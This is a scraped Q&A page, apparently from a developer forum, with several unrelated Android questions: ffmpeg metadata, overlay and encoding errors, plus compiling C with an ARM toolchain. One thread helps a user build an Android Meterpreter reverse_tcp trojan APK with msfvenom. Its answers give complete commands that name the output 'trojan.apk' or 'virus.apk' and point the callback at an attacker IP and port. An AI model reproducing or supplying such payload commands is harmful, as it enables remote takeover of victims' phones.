Trying to change metadata for Opus files using termux on android. Tried to change title here but may be command is wrong. Please guide me
ffmpeg -i audio name.opus -metadata title= "test" -c copy audio name.opus
Result:
[NULL # 0x787d23a500] Unable to find a suitable output format for 'test'
test: Invalid argument
Tried to look for some apps or editing tools but found nothing for opus on Android. My format is Opus. Expected that the command will be successful but it didn't work.
Related
I try to execute the next command
-i $inputFilePath -filter_complex \"realtime,scale=iw/2:-1,negate,format=yuv420p\" -f sdl2 -
with mobile-ffmpeg on android and get the next error
mobile-ffmpeg: [sdl,sdl2 # 0xbf1d9600] Unable to initialize SDL: Application didn't initialize properly, did you include SDL_main.h in the file containing your main() function?
As far as I understand I need to create SDL_Activity or something similar to display video, am I right? Please explain if I'm wrong otherwise help me.
When I make a payload with this command in my termux app
. /msfvenom -p android/meterpreter/reverse_tcp lhost=IP ADDRESS lport=3333 -o /sdcard/FILE NAME/test.apk
Then it is showing me
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 9435 bytes
Error: Permission denied # rb_sysopen - /sdcard/apk_payload/hack.apk
How to solve it please please 🙏 please help me
First of all, sorry for my bad english.
It looks like your problem is the path, the sdcard path is ~/storage
And inside, you just can access some folders, in my case are dcim, downloads, movies, music, pictures & shared
I've decided to put it in downloads, so the path should look like this:
~/storage/downloads/trojan.apk
The final code should be like this:
./msfvenom -p android/meterpreter/reverse_tcp LHOST=Your Ip LPORT=Your Port -o ~/storage/downloads/trojan.apk
First if msfvenom is in your usr/local/bin folder you should not need ./msfvenom just start with msfvenom.
Second the -o option is used when the -x option is used otherwise you should not use it.
Your command should look like this
msfvenom -p android/meterpreter/reverse_tcp LHOST=your ip LPORT=your port R > /root/what-ever-path-you-want/app-name.apk
Example:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 R > /root/Documents/virus.apk
I am trying to watermark a video using FFMPEG4Android.
I am using the app on the android market from here.
The command used is
ffmpeg -i /sdcard/videokit/in.mp4 -i /sdcard/videokit/logos/1.png -i
/sdcard/videokit/logos/2.png -i /logos/3.png -filter_complex
"[0:v][1:v]
overlay=main_w-overlay_w-10:main_h-overlay_h-10:enable='between(t,0,1)'
[tmp]; [tmp][2:v]
overlay=main_w-overlay_w-10:main_h-overlay_h-10:enable='between(t,2,3)'
[tmp2]; [tmp2][3:v]
overlay=main_w-overlay_w-10:main_h-overlay_h-10:enable='between(t,4,5)'"
/sdcard/videokit/output.mp4
But everytime I run the command the app fails
Opening an output file:
overlay=main_w-overlay_w-10:main_h-overlay_h-10:enable='between(t,0,1)'.
No such filter: '' Error configuring filters. exit_program: 1
Can I get any help for the same?
You need to use complex command, check the ffmpeg4android blog for examples
All, Forgive me I am familiar with the C program for the Android/Linux platform. Now I am trying to use the Sourcery G++ Lite Edition
for ARM to build my sample C program and deploy it to the Linux of the Android platform.
Below is the instructions what I follow.
So far it works fine. But I have something I didn't understand well. please review it . thanks.
The Source code is a hello world program.
#include <stdio.h>
int main(int argc,char * argv[])
{
printf("Hello, Android!\n");
return 0;
}
In the development machine command console. run the following commands line.
arm-none-linux-gnueabi-gcc hello.c -static -o hellostatic
adb push hellostatic /data/test
adb shell
cd /data/test
.hellostatic
Hello, Android!
So here is my question.
Can gcc build a executable file from a c source code file? Seems It doesn't need link tool. Is it right? thanks.
Can gcc build a executable file from a c source code file?
yes, of course.
Seems It doesn't need link tool?
no, I extract the following sentences from gcc manual,
GCC is capable of preprocessing and compiling several
files either into several assembler input files, or into one assembler input file; then each
assembler input file produces an object file, and linking combines all the object files (those
newly compiled, and those specified as input) into an executable file.
At default gcc will do complie and link operation, unless you type particular options such like:
gcc -c file.c
this will just compile file.c to file.o
or:
gcc -o file file.c
this will complie file.c to file.o and also link it to make a executable file finally.
Although yanchong had already gave the nice answer , I also found a good read from here. I think it will help to understand the concepts of Compile, Link and Build. Thanks.
I am trying to convert a series of images to video on Android. I have successfully built Guardian Project. Now when I try to run this command
/data/data/com.mobvcasting.mjpegffmpeg/ffmpeg -r 4 -i /mnt/sdcard/RAS/img/file%03d.bmp -r /mnt/sdcard/RAS/img/demoFile.mp4"
i get an error saying
10-02 05:48:35.247: V/PROJECT_NAME(13972): ***/mnt/sdcard/RAS/img/file%03d.bmp: No such file or directory***
I have images at /mnt/sdcard/RAS/img/ directory starting from file000.bmp.
I even tried changing my command to
/data/data/com.mobvcasting.mjpegffmpeg/ffmpeg -r 4 -i /mnt/sdcard/RAS/img/file000.bmp -r /mnt/sdcard/RAS/img/demoFile.mp4"
to get the same error again.
Also, it is able to recognize /mnt/sdcard/RAS/img/ as a directory.
What can I change to get rid of the error message?
Thanks!